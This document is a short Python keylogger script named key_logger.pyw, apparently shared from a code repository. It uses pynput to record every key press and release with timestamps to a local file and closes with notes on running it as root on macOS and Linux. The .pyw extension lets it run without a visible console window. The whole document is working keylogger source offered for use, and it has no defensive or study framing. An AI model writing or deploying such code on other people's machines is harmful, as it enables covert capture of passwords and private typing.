key_logger

key_logger.pyw

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pynput.keyboard import Key, Listener
import logging
from importlib import reload

log_dir = ""

reload(logging)
logging.basicConfig(filename=(log_dir + "key_log.txt"), 
                    level=logging.DEBUG, 
                    format='%(asctime)s: %(message)s')


class MyException(Exception): pass


def on_press(key):
    if key == Key.esc:
        raise MyException(key)
    else:
        # logging.info(key)
        try: logging.info(key.char) # letters, numbers etc
        except: logging.info(key.name) # other keys

          
def on_release(key):
    logging.info('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
          
          
# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    try:
        listener.join()
    except MyException as e:
        print('{0} was pressed'.format(e.args[0]))

On Mac OSX you will need to enable permissions and run as root.

On Linux you will need to run as root.

On Windows... it works... because Windows is dumb.